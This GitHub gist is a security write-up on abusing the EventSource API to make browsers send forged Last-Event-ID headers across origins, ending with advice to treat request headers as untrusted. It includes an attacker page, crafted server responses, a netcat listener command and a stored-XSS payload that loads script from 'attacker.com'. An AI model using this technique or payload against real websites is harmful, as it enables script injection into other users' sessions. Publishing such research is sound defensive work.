Skip to content

Instantly share code, notes, and snippets.

@bayotop

bayotop/last-evet-id.md

Last active Sep 6, 2020
Embed
What would you like to do?
Sending arbitrary Last-Event-ID header values across origins using the EventSource API.

The EventSource API

The EventSource interface is used to receive server-sent events. It connects to a server over HTTP and receives events in text/event-stream format without closing the connection.

https://developer.mozilla.org/en-US/docs/Web/API/EventSource

Last-Event-ID

Setting an ID lets the browser keep track of the last event fired so that if, the connection to the server is dropped, a special HTTP header (Last-Event-ID) is set with the new request.

https://www.html5rocks.com/en/tutorials/eventsource/basics/

Sending the Last-Event-ID header across origins:

In order to send an arbitrary Last-Event-ID header across origins a website and a cooperating server is needed. The following page tells the browser to open a connection to the attacker's server:

<!DOCTYPE html>
<head>
<script>
var source = new EventSource('http://127.0.0.1:11111', {withCredentials: true});
source.addEventListener('message', function(e) {
    console.log(e.id);
}, false);
</script>

Given the server responds as follows:

HTTP/1.1 200 OK
Content-Type: text/event-stream
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true

id: server-controlled
data: injection

the browser will store the event ID. If the server sends no more data a reconnection is triggered and the browser will issue a subsequent request that already contains the Last-Event-ID header with the ID set by the server.

Responding with a redirect will result in an additional request (made by the browser) to the specified location:

HTTP/1.1 302 Found
Content-Type: text/event-stream
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true
Location: http://example.com/page.php

Tip: You can easily achieve this using netcat: cat response1 | nc -nvlp 11111 && cat response2 | nc -nvlp 11111

Note that there is no preflight request for the cross-origin request. I don't know why. This issue implies that it's by design although the accompanying commit is not merged to the master branch, yet. If you have more insight or any other additional info please let me know in the comments. Furthermore, in case the Last-Event-ID gets CORS white-listed the EventSource API, most likely, won't be needed anymore to achieve the same behavior (fetch or XHR will do).

Sample scenario

Stored XSS via HTTP Header

Imagine a website that stores and presents detailed logs of authenticated requests to users.

We saw that a malicious website can force users' browsers into issuing authenticated cross-origin requests (GET) with an arbitrary Last-Event-ID header. Let's say this arbitrary value is an XSS payload that is reflected back to the user when viewing the aforementioned logs:

HTTP/1.1 200 OK
Content-Type: text/event-stream
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true

id: <script src=//attacker.com/x.js></script>
data: injection

In case the website fails to properly encode the header value (e.g. under the assumption that it can't be forged by an attacker) the payload is executed under the current user's context.

Conclusion

HTTP request headers are user-controlled data. Although browsers do a decent job to prevent arbitrary websites to issue cross-origin requests with arbitrary headers, it's still important to treat request headers as untrusted data.

Also, it should be noted that the Last-Event-ID is currently listed as CORS allowed in MDN web docs.

Thanks to @Abdulahhusam for his latest challenge, which made me learn all of the above while I was trying to solve it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment